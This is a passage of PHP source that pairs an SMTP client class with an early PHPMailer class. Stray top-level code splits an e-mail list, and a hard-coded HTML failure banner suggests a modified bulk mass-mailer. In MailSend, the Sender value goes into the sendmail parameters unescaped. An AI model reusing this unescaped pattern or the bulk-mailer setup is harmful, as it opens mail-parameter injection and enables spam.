883 # parse the reply and place in our array to return to user
884 $entries = explode($this->CRLF,$rply);
885 while(list(,$l) = @each($entries)) {
886 $list[] = substr($l,4);
887 }
888
889 return $list;
890 }
891
892 /**
893 * Sends the HELO command to the smtp server.
894 * This makes sure that we and the server are in
895 * the same known state.
896 *
897 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
898 *
899 * SMTP CODE SUCCESS: 250
900 * SMTP CODE ERROR : 500, 501, 504, 421
901 * @access public
902 * @return bool
903 */
904 function Hello($host="") {
905 $this->error = null; # so no confusion is caused
906
907 if(!$this->connected()) {
908 $this->error = array(
909 "error" => "Called Hello() without being connected");
910 return false;
911 }
912
913 # if a hostname for the HELO was not specified determine
914 # a suitable one to send
915 if(empty($host)) {
916 # we need to determine some sort of appopiate default
917 # to send to the server
918 $host = "localhost";
919 }
920
921 // Send extended hello first (RFC 2821)
922 if(!$this->SendHello("EHLO", $host))
923 {
924 if(!$this->SendHello("HELO", $host))
925 return false;
926 }
927
928 return true;
929 }
930
931 /**
932 * Sends a HELO/EHLO command.
933 * @access private
934 * @return bool
935 */
936 function SendHello($hello, $host) {
937 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
938
939 $rply = $this->get_lines();
940 $code = substr($rply,0,3);
941
942 if($this->do_debug >= 2) {
943 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
944 }
945
946 if($code != 250) {
947 $this->error =
948 array("error" => $hello . " not accepted from server",
949 "smtp_code" => $code,
950 "smtp_msg" => substr($rply,4));
951 if($this->do_debug >= 1) {
952 echo "SMTP -> ERROR: " . $this->error["error"] .
953 ": " . $rply . $this->CRLF;
954 }
955 return false;
956 }
957
958 $this->helo_rply = $rply;
959
960 return true;
961 }
962
963 /**
964 * Gets help information on the keyword specified. If the keyword
965 * is not specified then returns generic help, ussually contianing
966 * A list of keywords that help is available on. This function
967 * returns the results back to the user. It is up to the user to
968 * handle the returned data. If an error occurs then false is
969 * returned with $this->error set appropiately.
970 *
971 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
972 *
973 * SMTP CODE SUCCESS: 211,214
974 * SMTP CODE ERROR : 500,501,502,504,421
975 * @access public
976 * @return string
977 */
978 function Help($keyword="") {
979 $this->error = null; # to avoid confusion
980
981 if(!$this->connected()) {
982 $this->error = array(
983 "error" => "Called Help() without being connected");
984 return false;
985 }
986
987 $extra = "";
988 if(!empty($keyword)) {
989 $extra = " " . $keyword;
990 }
991
992 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
993
994 $rply = $this->get_lines();
995 $code = substr($rply,0,3);
996
997 if($this->do_debug >= 2) {
998 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
999 }
1000
1001 if($code != 211 && $code != 214) {
1002 $this->error =
1003 array("error" => "HELP not accepted from server",
1004 "smtp_code" => $code,
1005 "smtp_msg" => substr($rply,4));
1006 if($this->do_debug >= 1) {
1007 echo "SMTP -> ERROR: " . $this->error["error"] .
1008 ": " . $rply . $this->CRLF;
1009 }
1010 return false;
1011 }
1012
1013 return $rply;
1014 }
1015
1016 /**
1017 * Starts a mail transaction from the email address specified in
1018 * $from. Returns true if successful or false otherwise. If True
1019 * the mail transaction is started and then one or more Recipient
1020 * commands may be called followed by a Data command.
1021 *
1022 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1023 *
1024 * SMTP CODE SUCCESS: 250
1025 * SMTP CODE SUCCESS: 552,451,452
1026 * SMTP CODE SUCCESS: 500,501,421
1027 * @access public
1028 * @return bool
1029 */
1030 function Mail($from) {
1031 $this->error = null; # so no confusion is caused
1032
1033 if(!$this->connected()) {
1034 $this->error = array(
1035 "error" => "Called Mail() without being connected");
1036 return false;
1037 }
1038
1039 $useVerp = ($this->do_verp ? "XVERP" : "");
1040 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1041
1042 $rply = $this->get_lines();
1043 $code = substr($rply,0,3);
1044
1045 if($this->do_debug >= 2) {
1046 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1047 }
1048
1049 if($code != 250) {
1050 $this->error =
1051 array("error" => "MAIL not accepted from server",
1052 "smtp_code" => $code,
1053 "smtp_msg" => substr($rply,4));
1054 if($this->do_debug >= 1) {
1055 echo "SMTP -> ERROR: " . $this->error["error"] .
1056 ": " . $rply . $this->CRLF;
1057 }
1058 return false;
1059 }
1060 return true;
1061 }
1062
1063 /**
1064 * Sends the command NOOP to the SMTP server.
1065 *
1066 * Implements from rfc 821: NOOP <CRLF>
1067 *
1068 * SMTP CODE SUCCESS: 250
1069 * SMTP CODE ERROR : 500, 421
1070 * @access public
1071 * @return bool
1072 */
1073 function Noop() {
1074 $this->error = null; # so no confusion is caused
1075
1076 if(!$this->connected()) {
1077 $this->error = array(
1078 "error" => "Called Noop() without being connected");
1079 return false;
1080 }
1081
1082 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1083
1084 $rply = $this->get_lines();
1085 $code = substr($rply,0,3);
1086
1087 if($this->do_debug >= 2) {
1088 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1089 }
1090
1091 if($code != 250) {
1092 $this->error =
1093 array("error" => "NOOP not accepted from server",
1094 "smtp_code" => $code,
1095 "smtp_msg" => substr($rply,4));
1096 if($this->do_debug >= 1) {
1097 echo "SMTP -> ERROR: " . $this->error["error"] .
1098 ": " . $rply . $this->CRLF;
1099 }
1100 return false;
1101 }
1102 return true;
1103 }
1104
1105 /**
1106 * Sends the quit command to the server and then closes the socket
1107 * if there is no error or the $close_on_error argument is true.
1108 *
1109 * Implements from rfc 821: QUIT <CRLF>
1110 *
1111 * SMTP CODE SUCCESS: 221
1112 * SMTP CODE ERROR : 500
1113 * @access public
1114 * @return bool
1115 */
1116 function Quit($close_on_error=true) {
1117 $this->error = null; # so there is no confusion
1118
1119 if(!$this->connected()) {
1120 $this->error = array(
1121 "error" => "Called Quit() without being connected");
1122 return false;
1123 }
1124
1125 # send the quit command to the server
1126 fputs($this->smtp_conn,"quit" . $this->CRLF);
1127
1128 # get any good-bye messages
1129 $byemsg = $this->get_lines();
1130
1131 if($this->do_debug >= 2) {
1132 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1133 }
1134
1135 $rval = true;
1136 $e = null;
1137
1138 $code = substr($byemsg,0,3);
1139 if($code != 221) {
1140 # use e as a tmp var cause Close will overwrite $this->error
1141 $e = array("error" => "SMTP server rejected quit command",
1142 "smtp_code" => $code,
1143 "smtp_rply" => substr($byemsg,4));
1144 $rval = false;
1145 if($this->do_debug >= 1) {
1146 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1147 $byemsg . $this->CRLF;
1148 }
1149 }
1150
1151 if(empty($e) || $close_on_error) {
1152 $this->Close();
1153 }
1154
1155 return $rval;
1156 }
1157
1158 /**
1159 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1160 * Returns true if the recipient was accepted false if it was rejected.
1161 *
1162 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1163 *
1164 * SMTP CODE SUCCESS: 250,251
1165 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1166 * SMTP CODE ERROR : 500,501,503,421
1167 * @access public
1168 * @return bool
1169 */
1170 function Recipient($to) {
1171 $this->error = null; # so no confusion is caused
1172
1173 if(!$this->connected()) {
1174 $this->error = array(
1175 "error" => "Called Recipient() without being connected");
1176 return false;
1177 }
1178
1179 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1180
1181 $rply = $this->get_lines();
1182 $code = substr($rply,0,3);
1183
1184 if($this->do_debug >= 2) {
1185 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1186 }
1187
1188 if($code != 250 && $code != 251) {
1189 $this->error =
1190 array("error" => "RCPT not accepted from server",
1191 "smtp_code" => $code,
1192 "smtp_msg" => substr($rply,4));
1193 if($this->do_debug >= 1) {
1194 echo "SMTP -> ERROR: " . $this->error["error"] .
1195 ": " . $rply . $this->CRLF;
1196 }
1197 return false;
1198 }
1199 return true;
1200 }
1201
1202 /**
1203 * Sends the RSET command to abort and transaction that is
1204 * currently in progress. Returns true if successful false
1205 * otherwise.
1206 *
1207 * Implements rfc 821: RSET <CRLF>
1208 *
1209 * SMTP CODE SUCCESS: 250
1210 * SMTP CODE ERROR : 500,501,504,421
1211 * @access public
1212 * @return bool
1213 */
1214 function Reset() {
1215 $this->error = null; # so no confusion is caused
1216
1217 if(!$this->connected()) {
1218 $this->error = array(
1219 "error" => "Called Reset() without being connected");
1220 return false;
1221 }
1222
1223 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1224
1225 $rply = $this->get_lines();
1226 $code = substr($rply,0,3);
1227
1228 if($this->do_debug >= 2) {
1229 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1230 }
1231
1232 if($code != 250) {
1233 $this->error =
1234 array("error" => "RSET failed",
1235 "smtp_code" => $code,
1236 "smtp_msg" => substr($rply,4));
1237 if($this->do_debug >= 1) {
1238 echo "SMTP -> ERROR: " . $this->error["error"] .
1239 ": " . $rply . $this->CRLF;
1240 }
1241 return false;
1242 }
1243
1244 return true;
1245 }
1246
1247 /**
1248 * Starts a mail transaction from the email address specified in
1249 * $from. Returns true if successful or false otherwise. If True
1250 * the mail transaction is started and then one or more Recipient
1251 * commands may be called followed by a Data command. This command
1252 * will send the message to the users terminal if they are logged
1253 * in.
1254 *
1255 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1256 *
1257 * SMTP CODE SUCCESS: 250
1258 * SMTP CODE SUCCESS: 552,451,452
1259 * SMTP CODE SUCCESS: 500,501,502,421
1260 * @access public
1261 * @return bool
1262 */
1263 function Send($from) {
1264 $this->error = null; # so no confusion is caused
1265
1266 if(!$this->connected()) {
1267 $this->error = array(
1268 "error" => "Called Send() without being connected");
1269 return false;
1270 }
1271
1272 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1273
1274 $rply = $this->get_lines();
1275 $code = substr($rply,0,3);
1276
1277 if($this->do_debug >= 2) {
1278 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1279 }
1280
1281 if($code != 250) {
1282 $this->error =
1283 array("error" => "SEND not accepted from server",
1284 "smtp_code" => $code,
1285 "smtp_msg" => substr($rply,4));
1286 if($this->do_debug >= 1) {
1287 echo "SMTP -> ERROR: " . $this->error["error"] .
1288 ": " . $rply . $this->CRLF;
1289 }
1290 return false;
1291 }
1292 return true;
1293 }
1294
1295 /**
1296 * Starts a mail transaction from the email address specified in
1297 * $from. Returns true if successful or false otherwise. If True
1298 * the mail transaction is started and then one or more Recipient
1299 * commands may be called followed by a Data command. This command
1300 * will send the message to the users terminal if they are logged
1301 * in and send them an email.
1302 *
1303 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1304 *
1305 * SMTP CODE SUCCESS: 250
1306 * SMTP CODE SUCCESS: 552,451,452
1307 * SMTP CODE SUCCESS: 500,501,502,421
1308 * @access public
1309 * @return bool
1310 */
1311 function SendAndMail($from) {
1312 $this->error = null; # so no confusion is caused
1313
1314 if(!$this->connected()) {
1315 $this->error = array(
1316 "error" => "Called SendAndMail() without being connected");
1317 return false;
1318 }
1319
1320 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1321
1322 $rply = $this->get_lines();
1323 $code = substr($rply,0,3);
1324
1325 if($this->do_debug >= 2) {
1326 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1327 }
1328
1329 if($code != 250) {
1330 $this->error =
1331 array("error" => "SAML not accepted from server",
1332 "smtp_code" => $code,
1333 "smtp_msg" => substr($rply,4));
1334 if($this->do_debug >= 1) {
1335 echo "SMTP -> ERROR: " . $this->error["error"] .
1336 ": " . $rply . $this->CRLF;
1337 }
1338 return false;
1339 }
1340 return true;
1341 }
1342
1343 /**
1344 * Starts a mail transaction from the email address specified in
1345 * $from. Returns true if successful or false otherwise. If True
1346 * the mail transaction is started and then one or more Recipient
1347 * commands may be called followed by a Data command. This command
1348 * will send the message to the users terminal if they are logged
1349 * in or mail it to them if they are not.
1350 *
1351 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1352 *
1353 * SMTP CODE SUCCESS: 250
1354 * SMTP CODE SUCCESS: 552,451,452
1355 * SMTP CODE SUCCESS: 500,501,502,421
1356 * @access public
1357 * @return bool
1358 */
1359 function SendOrMail($from) {
1360 $this->error = null; # so no confusion is caused
1361
1362 if(!$this->connected()) {
1363 $this->error = array(
1364 "error" => "Called SendOrMail() without being connected");
1365 return false;
1366 }
1367
1368 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1369
1370 $rply = $this->get_lines();
1371 $code = substr($rply,0,3);
1372
1373 if($this->do_debug >= 2) {
1374 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1375 }
1376
1377 if($code != 250) {
1378 $this->error =
1379 array("error" => "SOML not accepted from server",
1380 "smtp_code" => $code,
1381 "smtp_msg" => substr($rply,4));
1382 if($this->do_debug >= 1) {
1383 echo "SMTP -> ERROR: " . $this->error["error"] .
1384 ": " . $rply . $this->CRLF;
1385 }
1386 return false;
1387 }
1388 return true;
1389 }
1390
1391 /**
1392 * This is an optional command for SMTP that this class does not
1393 * support. This method is here to make the RFC821 Definition
1394 * complete for this class and __may__ be implimented in the future
1395 *
1396 * Implements from rfc 821: TURN <CRLF>
1397 *
1398 * SMTP CODE SUCCESS: 250
1399 * SMTP CODE FAILURE: 502
1400 * SMTP CODE ERROR : 500, 503
1401 * @access public
1402 * @return bool
1403 */
1404 function Turn() {
1405 $this->error = array("error" => "This method, TURN, of the SMTP ".
1406 "is not implemented");
1407 if($this->do_debug >= 1) {
1408 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1409 }
1410 return false;
1411 }
1412
1413 /**
1414 * Verifies that the name is recognized by the server.
1415 * Returns false if the name could not be verified otherwise
1416 * the response from the server is returned.
1417 *
1418 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1419 *
1420 * SMTP CODE SUCCESS: 250,251
1421 * SMTP CODE FAILURE: 550,551,553
1422 * SMTP CODE ERROR : 500,501,502,421
1423 * @access public
1424 * @return int
1425 */
1426 function Verify($name) {
1427 $this->error = null; # so no confusion is caused
1428
1429 if(!$this->connected()) {
1430 $this->error = array(
1431 "error" => "Called Verify() without being connected");
1432 return false;
1433 }
1434
1435 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1436
1437 $rply = $this->get_lines();
1438 $code = substr($rply,0,3);
1439
1440 if($this->do_debug >= 2) {
1441 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1442 }
1443
1444 if($code != 250 && $code != 251) {
1445 $this->error =
1446 array("error" => "VRFY failed on name '$name'",
1447 "smtp_code" => $code,
1448 "smtp_msg" => substr($rply,4));
1449 if($this->do_debug >= 1) {
1450 echo "SMTP -> ERROR: " . $this->error["error"] .
1451 ": " . $rply . $this->CRLF;
1452 }
1453 return false;
1454 }
1455 return $rply;
1456 }
1457
1458 /*******************************************************************
1459 * INTERNAL FUNCTIONS *
1460 ******************************************************************/
1461
1462 /**
1463 * Read in as many lines as possible
1464 * either before eof or socket timeout occurs on the operation.
1465 * With SMTP we can tell if we have more lines to read if the
1466 * 4th character is '-' symbol. If it is a space then we don't
1467 * need to read anything else.
1468 * @access private
1469 * @return string
1470 */
1471 function get_lines() {
1472 $data = "";
1473 while($str = @fgets($this->smtp_conn,515)) {
1474 if($this->do_debug >= 4) {
1475 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1476 $this->CRLF;
1477 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1478 $this->CRLF;
1479 }
1480 $data .= $str;
1481 if($this->do_debug >= 4) {
1482 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1483 }
1484 # if the 4th character is a space then we are done reading
1485 # so just break the loop
1486 if(substr($str,3,1) == " ") { break; }
1487 }
1488 return $data;
1489 }
1490
1491}
1492
1493
1494$allemails = split("\n", $emaillist);
1495$numemails = count($allemails);
1496class PHPMailer {
1497
1498 /////////////////////////////////////////////////
1499 // PROPERTIES, PUBLIC
1500 /////////////////////////////////////////////////
1501
1502 /**
1503 * Email priority (1 = High, 3 = Normal, 5 = low).
1504 * @var int
1505 */
1506 var $Priority = 3;
1507
1508 /**
1509 * Sets the CharSet of the message.
1510 * @var string
1511 */
1512 var $CharSet = 'us-ascii';
1513
1514 /**
1515 * Sets the Content-type of the message.
1516 * @var string
1517 */
1518 var $ContentType = 'text/plain';
1519
1520 /**
1521 * Sets the Encoding of the message. Options for this are "8bit",
1522 * "7bit", "binary", "base64", and "quoted-printable".
1523
1524 * @var string
1525 */
1526 var $Encoding = 'quoted-printable';
1527
1528 /**
1529 * Holds the most recent mailer error message.
1530 * @var string
1531 */
1532 var $ErrorInfo = '';
1533
1534 /**
1535 * Sets the From email address for the message.
1536 * @var string
1537 */
1538 var $From = '';
1539
1540 /**
1541 * Sets the From name of the message.
1542 * @var string
1543 */
1544 var $FromName = '';
1545
1546 /**
1547 * Sets the Sender email (Return-Path) of the message. If not empty,
1548 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1549 * @var string
1550 */
1551 var $Sender = '';
1552
1553 /**
1554 * Sets the Subject of the message.
1555 * @var string
1556 */
1557 var $Subject = '';
1558
1559 /**
1560 * Sets the Body of the message. This can be either an HTML or text body.
1561 * If HTML then run IsHTML(true).
1562 * @var string
1563 */
1564 var $Body = '';
1565
1566 /**
1567 * Sets the text-only body of the message. This automatically sets the
1568 * email to multipart/alternative. This body can be read by mail
1569 * clients that do not have HTML email capability such as mutt. Clients
1570 * that can read HTML will view the normal Body.
1571 * @var string
1572 */
1573 var $AltBody = '';
1574
1575 /**
1576 * Sets word wrapping on the body of the message to a given number of
1577 * characters.
1578 * @var int
1579 */
1580 var $WordWrap = 0;
1581
1582 /**
1583 * Method to send mail: ("mail", "sendmail", or "smtp").
1584 * @var string
1585 */
1586 var $Mailer = 'mail';
1587
1588 /**
1589 * Sets the path of the sendmail program.
1590 * @var string
1591 */
1592 var $Sendmail = '/usr/sbin/sendmail';
1593
1594 /**
1595 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1596 * is in a different directory than the PHP include path.
1597 * @var string
1598 */
1599 var $PluginDir = '';
1600
1601 /**
1602 * Holds PHPMailer version.
1603 * @var string
1604 */
1605 var $Version = "";
1606
1607 /**
1608 * Sets the email address that a reading confirmation will be sent.
1609 * @var string
1610 */
1611 var $ConfirmReadingTo = '';
1612
1613 /**
1614 * Sets the hostname to use in Message-Id and Received headers
1615 * and as default HELO string. If empty, the value returned
1616 * by SERVER_NAME is used or 'localhost.localdomain'.
1617 * @var string
1618 */
1619 var $Hostname = '';
1620
1621 /**
1622 * Sets the message ID to be used in the Message-Id header.
1623 * If empty, a unique id will be generated.
1624 * @var string
1625 */
1626 var $MessageID = '';
1627
1628 /////////////////////////////////////////////////
1629 // PROPERTIES FOR SMTP
1630 /////////////////////////////////////////////////
1631
1632 /**
1633 * Sets the SMTP hosts. All hosts must be separated by a
1634 * semicolon. You can also specify a different port
1635 * for each host by using this format: [hostname:port]
1636 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1637 * Hosts will be tried in order.
1638 * @var string
1639 */
1640 var $Host = 'localhost';
1641
1642 /**
1643 * Sets the default SMTP server port.
1644 * @var int
1645 */
1646 var $Port = 25;
1647
1648 /**
1649 * Sets the SMTP HELO of the message (Default is $Hostname).
1650 * @var string
1651 */
1652 var $Helo = '';
1653
1654 /**
1655 * Sets connection prefix.
1656 * Options are "", "ssl" or "tls"
1657 * @var string
1658 */
1659 var $SMTPSecure = "";
1660
1661 /**
1662 * Sets SMTP authentication. Utilizes the Username and Password variables.
1663 * @var bool
1664 */
1665 var $SMTPAuth = false;
1666
1667 /**
1668 * Sets SMTP username.
1669 * @var string
1670 */
1671 var $Username = '';
1672
1673 /**
1674 * Sets SMTP password.
1675 * @var string
1676 */
1677 var $Password = '';
1678
1679 /**
1680 * Sets the SMTP server timeout in seconds. This function will not
1681 * work with the win32 version.
1682 * @var int
1683 */
1684 var $Timeout = 10;
1685
1686 /**
1687 * Sets SMTP class debugging on or off.
1688 * @var bool
1689 */
1690 var $SMTPDebug = false;
1691
1692 /**
1693 * Prevents the SMTP connection from being closed after each mail
1694 * sending. If this is set to true then to close the connection
1695 * requires an explicit call to SmtpClose().
1696 * @var bool
1697 */
1698 var $SMTPKeepAlive = false;
1699
1700 /**
1701 * Provides the ability to have the TO field process individual
1702 * emails, instead of sending to entire TO addresses
1703 * @var bool
1704 */
1705 var $SingleTo = false;
1706
1707 /////////////////////////////////////////////////
1708 // PROPERTIES, PRIVATE
1709 /////////////////////////////////////////////////
1710
1711 var $smtp = NULL;
1712 var $to = array();
1713 var $cc = array();
1714 var $bcc = array();
1715 var $ReplyTo = array();
1716 var $attachment = array();
1717 var $CustomHeader = array();
1718 var $message_type = '';
1719 var $boundary = array();
1720 var $language = array();
1721 var $error_count = 0;
1722 var $LE = "\n";
1723 var $sign_key_file = "";
1724 var $sign_key_pass = "";
1725
1726 /////////////////////////////////////////////////
1727 // METHODS, VARIABLES
1728 /////////////////////////////////////////////////
1729
1730 /**
1731 * Sets message type to HTML.
1732 * @param bool $bool
1733 * @return void
1734 */
1735 function IsHTML($bool) {
1736 if($bool == true) {
1737 $this->ContentType = 'text/html';
1738 } else {
1739 $this->ContentType = 'text/plain';
1740 }
1741 }
1742
1743 /**
1744 * Sets Mailer to send message using SMTP.
1745 * @return void
1746 */
1747 function IsSMTP() {
1748 $this->Mailer = 'smtp';
1749 }
1750
1751 /**
1752 * Sets Mailer to send message using PHP mail() function.
1753 * @return void
1754 */
1755 function IsMail() {
1756 $this->Mailer = 'mail';
1757 }
1758
1759 /**
1760 * Sets Mailer to send message using the $Sendmail program.
1761 * @return void
1762 */
1763 function IsSendmail() {
1764 $this->Mailer = 'sendmail';
1765 }
1766
1767 /**
1768 * Sets Mailer to send message using the qmail MTA.
1769 * @return void
1770 */
1771 function IsQmail() {
1772 $this->Sendmail = '/var/qmail/bin/sendmail';
1773 $this->Mailer = 'sendmail';
1774 }
1775
1776 /////////////////////////////////////////////////
1777 // METHODS, RECIPIENTS
1778 /////////////////////////////////////////////////
1779
1780 /**
1781 * Adds a "To" address.
1782 * @param string $address
1783 * @param string $name
1784 * @return void
1785 */
1786 function AddAddress($address, $name = '') {
1787 $cur = count($this->to);
1788 $this->to[$cur][0] = trim($address);
1789 $this->to[$cur][1] = $name;
1790 }
1791
1792 /**
1793 * Adds a "Cc" address. Note: this function works
1794 * with the SMTP mailer on win32, not with the "mail"
1795 * mailer.
1796 * @param string $address
1797 * @param string $name
1798 * @return void
1799 */
1800 function AddCC($address, $name = '') {
1801 $cur = count($this->cc);
1802 $this->cc[$cur][0] = trim($address);
1803 $this->cc[$cur][1] = $name;
1804 }
1805
1806 /**
1807 * Adds a "Bcc" address. Note: this function works
1808 * with the SMTP mailer on win32, not with the "mail"
1809 * mailer.
1810 * @param string $address
1811 * @param string $name
1812 * @return void
1813 */
1814 function AddBCC($address, $name = '') {
1815 $cur = count($this->bcc);
1816 $this->bcc[$cur][0] = trim($address);
1817 $this->bcc[$cur][1] = $name;
1818 }
1819
1820 /**
1821 * Adds a "Reply-To" address.
1822 * @param string $address
1823 * @param string $name
1824 * @return void
1825 */
1826 function AddReplyTo($address, $name = '') {
1827 $cur = count($this->ReplyTo);
1828 $this->ReplyTo[$cur][0] = trim($address);
1829 $this->ReplyTo[$cur][1] = $name;
1830 }
1831
1832 /////////////////////////////////////////////////
1833 // METHODS, MAIL SENDING
1834 /////////////////////////////////////////////////
1835
1836 /**
1837 * Creates message and assigns Mailer. If the message is
1838 * not sent successfully then it returns false. Use the ErrorInfo
1839 * variable to view description of the error.
1840 * @return bool
1841 */
1842 function Send() {
1843 $header = '';
1844 $body = '';
1845 $result = true;
1846
1847 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1848 $this->SetError($this->Lang('provide_address'));
1849 return false;
1850 }
1851
1852 /* Set whether the message is multipart/alternative */
1853 if(!empty($this->AltBody)) {
1854 $this->ContentType = 'multipart/alternative';
1855 }
1856
1857 $this->error_count = 0; // reset errors
1858 $this->SetMessageType();
1859 $header .= $this->CreateHeader();
1860 $body = $this->CreateBody();
1861
1862 if($body == '') {
1863 return false;
1864 }
1865
1866 /* Choose the mailer */
1867 switch($this->Mailer) {
1868 case 'sendmail':
1869 $result = $this->SendmailSend($header, $body);
1870 break;
1871 case 'smtp':
1872 $result = $this->SmtpSend($header, $body);
1873 break;
1874 case 'mail':
1875 $result = $this->MailSend($header, $body);
1876 break;
1877 default:
1878 $result = $this->MailSend($header, $body);
1879 break;
1880 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1881 //$result = false;
1882 //break;
1883 }
1884
1885 return $result;
1886 }
1887
1888 /**
1889 * Sends mail using the $Sendmail program.
1890 * @access private
1891 * @return bool
1892 */
1893 function SendmailSend($header, $body) {
1894 if ($this->Sender != '') {
1895 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1896 } else {
1897 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1898 }
1899
1900 if(!@$mail = popen($sendmail, 'w')) {
1901 $this->SetError($this->Lang('execute') . $this->Sendmail);
1902 return false;
1903 }
1904
1905 fputs($mail, $header);
1906 fputs($mail, $body);
1907
1908 $result = pclose($mail);
1909 if (version_compare(phpversion(), '4.2.3') == -1) {
1910 $result = $result >> 8 & 0xFF;
1911 }
1912 if($result != 0) {
1913 $this->SetError($this->Lang('execute') . $this->Sendmail);
1914 return false;
1915 }
1916 return true;
1917 }
1918
1919 /**
1920 * Sends mail using the PHP mail() function.
1921 * @access private
1922 * @return bool
1923 */
1924 function MailSend($header, $body) {
1925
1926 $to = '';
1927 for($i = 0; $i < count($this->to); $i++) {
1928 if($i != 0) { $to .= ', '; }
1929 $to .= $this->AddrFormat($this->to[$i]);
1930 }
1931
1932 $toArr = split(',', $to);
1933
1934 $params = sprintf("-oi -f %s", $this->Sender);
1935 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1936 $old_from = ini_get('sendmail_from');
1937 ini_set('sendmail_from', $this->Sender);
1938 if ($this->SingleTo === true && count($toArr) > 1) {
1939 foreach ($toArr as $key => $val) {
1940 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1941 }
1942 } else {
1943 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1944 }
1945 } else {
1946 if ($this->SingleTo === true && count($toArr) > 1) {
1947 foreach ($toArr as $key => $val) {
1948 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1949 }
1950 } else {
1951 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1952 }
1953 }
1954
1955 if (isset($old_from)) {
1956 ini_set('sendmail_from', $old_from);
1957 }
1958
1959 if(!$rt) {
1960 $this->SetError($this->Lang('instantiate'));
1961 return false;
1962 }
1963
1964 return true;
1965 }
1966
1967 /**
1968 * Sends mail via SMTP using PhpSMTP (Author:
1969 * Chris Ryan). Returns bool. Returns false if there is a
1970 * bad MAIL FROM, RCPT, or DATA input.
1971 * @access private
1972 * @return bool
1973 */
1974 function SmtpSend($header, $body) {
1975 $error = '';
1976 $bad_rcpt = array();
1977
1978 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1979 return false;
1980 }
1981
1982 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1983 if(!$this->smtp->Mail($smtp_from)) {
1984 $error = $this->Lang('from_failed') . $smtp_from;
1985 $this->SetError($error);
1986 $this->smtp->Reset();
1987 return false;
1988 }
1989
1990 /* Attempt to send attach all recipients */
1991 for($i = 0; $i < count($this->to); $i++) {
1992 if(!$this->smtp->Recipient($this->to[$i][0])) {
1993 $bad_rcpt[] = $this->to[$i][0];
1994 }
1995 }
1996 for($i = 0; $i < count($this->cc); $i++) {
1997 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1998 $bad_rcpt[] = $this->cc[$i][0];
1999 }
2000 }
2001 for($i = 0; $i < count($this->bcc); $i++) {
2002 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2003 $bad_rcpt[] = $this->bcc[$i][0];
2004 }
2005 }
2006
2007 if(count($bad_rcpt) > 0) { // Create error message
2008 for($i = 0; $i < count($bad_rcpt); $i++) {
2009 if($i != 0) {
2010 $error .= ', ';
2011 }
2012 $error .= $bad_rcpt[$i];
2013
2014 }
2015 $error = $this->Lang('recipients_failed') . $error;
2016 $this->SetError($error);
2017 $this->smtp->Reset();
2018 return false;
2019 }
2020
2021 if(!$this->smtp->Data($header . $body)) {
2022 $this->SetError($this->Lang('data_not_accepted'));
2023 $this->smtp->Reset();
2024 return false;
2025 }
2026 if($this->SMTPKeepAlive == true) {
2027 $this->smtp->Reset();
2028 } else {
2029 $this->SmtpClose();
2030 }
2031
2032 return true;
2033 }
2034
2035 /**
2036 * Initiates a connection to an SMTP server. Returns false if the
2037 * operation failed.
2038 * @access private
2039 * @return bool
2040 */
2041 function SmtpConnect() {
2042 if($this->smtp == NULL) {
2043 $this->smtp = new SMTP();
2044 }
2045
2046 $this->smtp->do_debug = $this->SMTPDebug;
2047 $hosts = explode(';', $this->Host);
2048 $index = 0;
